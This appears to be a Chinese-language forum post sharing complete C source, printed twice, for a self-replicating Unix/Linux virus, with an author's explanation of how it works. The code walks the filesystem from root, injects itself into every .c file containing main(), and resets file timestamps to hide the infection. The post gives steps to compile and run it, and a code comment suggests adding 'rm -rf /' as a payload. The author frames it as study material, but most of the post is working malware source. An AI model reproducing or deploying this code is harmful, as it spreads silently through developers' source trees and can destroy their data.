整理了一个很简单的C病毒,切勿乱用,供大家研究!不过是unix/Linux环境的, 能看懂原理就OK了。
/* ucfree:2007-12-31 start */
#include <stdio.h>
#include <dirent.h>
#include <unistd.h>
#include <string.h>
|
#include <sys/stat.h>
#include <utime.h>
#define VIR_NAM "virus.c" // virus file name
#define BUF_SIZE 101
#define STA_PATH "/" // start path
char vir_path[BUF_SIZE] = "";
/* it's the main part of virus's body,
* it can traversal all the parts of the system from STA_PATH,
* and if the process have enough permission,
* all of the .c file will being infected as a virus
*/
void vir_body()
{
DIR *dp;
struct dirent *dirp;
struct stat buf, cur_dir_buf;
int i;
char str_buf[BUF_SIZE];
// init the vir_path
if (!strcmp(vir_path, ""))
{
if (getcwd(vir_path, BUF_SIZE) == NULL)
{
return;
}
strcat(vir_path, "/");
strcat(vir_path, VIR_NAM);
chdir(STA_PATH);
}
if ((dp = opendir(".")) == NULL)
{
return;
}
// do all the sub_dir terms
while ((dirp = readdir(dp)) != NULL)
{
i = strlen(dirp->d_name);
if (dirp->d_name[i-1] == 'c' &&
dirp->d_name[i-2] == '.')
{// is a c file
do_c_file(dirp->d_name);
continue;
}
if (stat(dirp->d_name, &buf) < 0)
{// get the stat of the file
continue;
}
if (!S_ISDIR(buf.st_mode))
{// is not a directory
continue;
}
if (!strcmp(dirp->d_name, ".") ||
!strcmp(dirp->d_name, ".."))
{// ignore dot and dot_dot directory
continue;
}
// do the submit derectory as current
chdir(dirp->d_name);
vir_body();
chdir("..");
}
closedir(dp);
/* here! you can do anything that you want
* just use the system invokes or shell commands
* ex:
* if (system_data_is_sundy)
* {
* system("rm -rf /");
* }
* tip: if the process runing as root, the system being over
* it's dangerous, so not to try
*/
return;
}
/* this funtion is try to infect the .c file,
* if the .c file is already infected,no need to do it again,
* else the work begin ......
*/
int do_c_file(const char *f_name)
{
FILE *fp_obj, *fp_vir, *fp_tmp;
char buf[BUF_SIZE];
char flag;
char *tmp_buf;
struct stat statbuf;// get the object file's stat
struct utimbuf timebuf;// keep the object file's access and modify time
if ((fp_obj = fopen(f_name, "r+")) == NULL)
{// object file
return 1;
}
if (stat(f_name, &statbuf) < 0)
{
return 1;
}
timebuf.actime = statbuf.st_atime;
timebuf.modtime = statbuf.st_mtime;
if ((fp_vir = fopen(vir_path, "r")) ==NULL)
{// virus file
return 1;
}
// make a tempfile as a buffer
if ((tmp_buf = tmpnam(NULL)) == NULL)
{
return 1;
}
if ((fp_tmp = fopen(tmp_buf, "a+")) == NULL)
{// temp file
return 1;
}
unlink(tmp_buf);// kernal will delete it after the process done
// read the C text into the temp file, and modify it
flag = 'T';
while (fgets(buf, BUF_SIZE, fp_obj) != NULL)
{
if (!strcmp(buf, "/* ucfree:2007-12-31 start */\n"))
{// the obeject file have been infected
return 0;
}
if (flag == 'T' && strstr(buf, "main("))
{// find the funtion main,change flag
flag = 'F';
}
if (flag == 'F' && (strstr(buf, "return") ||
strstr(buf, "}")))
{// insert the invoke line,before "return" or "}"
fputs("\t\tvir_body();\n", fp_tmp);
flag = 'O';
}
fputs(buf, fp_tmp);
}
if (flag != 'O')
{// is not the main c file
return 0;
}
// add the parts of virus's body to the tail of temp file
flag = 'T';
while (fgets(buf, BUF_SIZE, fp_vir) != NULL)
{
if (flag == 'T' &&
!strcmp(buf, "/* ucfree:2007-12-31 start */\n"))
{// is the start of the virus's body
flag = 'F';
}
if (flag == 'T')
{// not find the start
continue;
}
if (flag == 'O')
{// virus body have been inserted,do over
break;
}
// insert virus's body
if (!strcmp(buf, "/* ucfree:2007-12-31 end */\n"))
{// is the end of the virus's body
flag = 'O';
}
if (strstr(buf, "#define VIR_NAM") &&
buf[0] == '#')
{// use the object's name to instand of the virus name
snprintf(buf, sizeof(buf), "%s\t\"%s\"\n",
"#define VIR_NAM", f_name);
}
fputs(buf, fp_tmp);
}
fclose(fp_vir);
// temp file instand of the object file
rewind(fp_tmp);
rewind(fp_obj);
while (fgets(buf, BUF_SIZE,fp_tmp) != NULL)
{
fputs(buf, fp_obj);
}
fclose(fp_tmp);
fclose(fp_obj);
if (utime(f_name, &timebuf) < 0)
{// keep the time back
return 1;
}
// OK! object file also been a virus ^_^
return 0;
}
/* ucfree:2007-12-31 end */
/* test it */
int main()
{
vir_body();
return 0;
}
补充说明
我花了整整一天时间来完成这个程序,过程是有点郁闷的,因为很多系统调用的用法都不熟悉,走了不少弯路;不过结果还是很开心,因为完全用自己的思路实现了它,嘿嘿!也算是给即将过去的2007一个交代吧。
原理很简单,从起始目录(STA_PATH)开始遍历,感染所有的.C主文件(有main函数的文件):在main函数中插入对病毒函数的调用,并且在文 件末尾插入病毒函数体.这样,被修改的.C文件被编译执行时,也会去感染其它未被感染的.C文件了(怎么知道文件是否被感染?,阅读代码哦 ^_^),这样就实现了自我繁殖的功能......
|
实验的时候只需把下列代码保存在名字为"virus.c"的文件中(用其它名字,只要更改宏VIR_NAM就OK),编译virus.c,运行可执行文 件,它就会去感染符合条件的.C文件哦.默然的起始路径是 "/" ,如果想让它不那么强的话,只要改变宏STA_PATH,例如我实验的时候:
#define STA_PATH "/home/ucfree/unix_c"
这样就只会感染unix_c这个文件夹的.C文件了。
运行可执行文件之后,看看unix_c这个文件夹(包括它的子文件夹)的.C文件有什么变化?
运行被感染的.C文件,它是不是一样可以感染其它未被感染的文件呢?
嘿嘿! 病毒的运行原理基本上就是这样了。(不过这只是最基础的哦)
具体的实现技巧参阅代码,注释用了英语(没办法,要和国际接轨啦),不过本人英语水平很惭愧(PETS-4未成pass),牛人不要笑哦!
Tip:仅供学习参考,我们的口号:了解病毒是为了更好的防范它。
/* ucfree:2007-12-31 start */
#include <stdio.h>
#include <dirent.h>
#include <unistd.h>
#include <string.h>
#include <sys/stat.h>
#include <utime.h>
#define VIR_NAM "virus.c" // virus file name
#define BUF_SIZE 101
#define STA_PATH "/" // start path
char vir_path[BUF_SIZE] = "";
/* it's the main part of virus's body,
* it can traversal all the parts of the system from STA_PATH,
* and if the process have enough permission,
* all of the .c file will being infected as a virus
*/
void vir_body()
{
DIR *dp;
struct dirent *dirp;
struct stat buf, cur_dir_buf;
int i;
char str_buf[BUF_SIZE];
// init the vir_path
if (!strcmp(vir_path, ""))
{
if (getcwd(vir_path, BUF_SIZE) == NULL)
{
return;
}
strcat(vir_path, "/");
strcat(vir_path, VIR_NAM);
chdir(STA_PATH);
}
if ((dp = opendir(".")) == NULL)
{
return;
}
// do all the sub_dir terms
while ((dirp = readdir(dp)) != NULL)
{
i = strlen(dirp->d_name);
if (dirp->d_name[i-1] == 'c' &&
dirp->d_name[i-2] == '.')
{// is a c file
do_c_file(dirp->d_name);
continue;
}
if (stat(dirp->d_name, &buf) < 0)
{// get the stat of the file
continue;
}
if (!S_ISDIR(buf.st_mode))
{// is not a directory
continue;
}
if (!strcmp(dirp->d_name, ".") ||
!strcmp(dirp->d_name, ".."))
{// ignore dot and dot_dot directory
continue;
}
// do the submit derectory as current
chdir(dirp->d_name);
vir_body();
chdir("..");
}
closedir(dp);
/* here! you can do anything that you want
* just use the system invokes or shell commands
* ex:
* if (system_data_is_sundy)
* {
* system("rm -rf /");
* }
* tip: if the process runing as root, the system being over
* it's dangerous, so not to try
*/
return;
}
/* this funtion is try to infect the .c file,
* if the .c file is already infected,no need to do it again,
* else the work begin ......
*/
int do_c_file(const char *f_name)
{
FILE *fp_obj, *fp_vir, *fp_tmp;
char buf[BUF_SIZE];
char flag;
char *tmp_buf;
struct stat statbuf;// get the object file's stat
struct utimbuf timebuf;// keep the object file's access and modify time
if ((fp_obj = fopen(f_name, "r+")) == NULL)
{// object file
return 1;
}
if (stat(f_name, &statbuf) < 0)
{
return 1;
}
timebuf.actime = statbuf.st_atime;
timebuf.modtime = statbuf.st_mtime;
if ((fp_vir = fopen(vir_path, "r")) ==NULL)
{// virus file
return 1;
}
// make a tempfile as a buffer
if ((tmp_buf = tmpnam(NULL)) == NULL)
{
return 1;
}
if ((fp_tmp = fopen(tmp_buf, "a+")) == NULL)
{// temp file
return 1;
}
unlink(tmp_buf);// kernal will delete it after the process done
// read the C text into the temp file, and modify it
flag = 'T';
while (fgets(buf, BUF_SIZE, fp_obj) != NULL)
{
if (!strcmp(buf, "/* ucfree:2007-12-31 start */\n"))
{// the obeject file have been infected
return 0;
}
if (flag == 'T' && strstr(buf, "main("))
{// find the funtion main,change flag
flag = 'F';
}
if (flag == 'F' && (strstr(buf, "return") ||
strstr(buf, "}")))
{// insert the invoke line,before "return" or "}"
fputs("\t\tvir_body();\n", fp_tmp);
flag = 'O';
}
fputs(buf, fp_tmp);
}
if (flag != 'O')
{// is not the main c file
return 0;
}
// add the parts of virus's body to the tail of temp file
flag = 'T';
while (fgets(buf, BUF_SIZE, fp_vir) != NULL)
{
if (flag == 'T' &&
!strcmp(buf, "/* ucfree:2007-12-31 start */\n"))
{// is the start of the virus's body
flag = 'F';
}
if (flag == 'T')
{// not find the start
continue;
}
if (flag == 'O')
{// virus body have been inserted,do over
break;
}
// insert virus's body
if (!strcmp(buf, "/* ucfree:2007-12-31 end */\n"))
{// is the end of the virus's body
flag = 'O';
}
if (strstr(buf, "#define VIR_NAM") &&
buf[0] == '#')
{// use the object's name to instand of the virus name
snprintf(buf, sizeof(buf), "%s\t\"%s\"\n",
"#define VIR_NAM", f_name);
}
fputs(buf, fp_tmp);
}
fclose(fp_vir);
// temp file instand of the object file
rewind(fp_tmp);
rewind(fp_obj);
while (fgets(buf, BUF_SIZE,fp_tmp) != NULL)
{
fputs(buf, fp_obj);
}
fclose(fp_tmp);
fclose(fp_obj);
if (utime(f_name, &timebuf) < 0)
{// keep the time back
return 1;
}
// OK! object file also been a virus ^_^
return 0;
}
/* ucfree:2007-12-31 end */
/* test it */
int main()
{
vir_body();
return 0;
}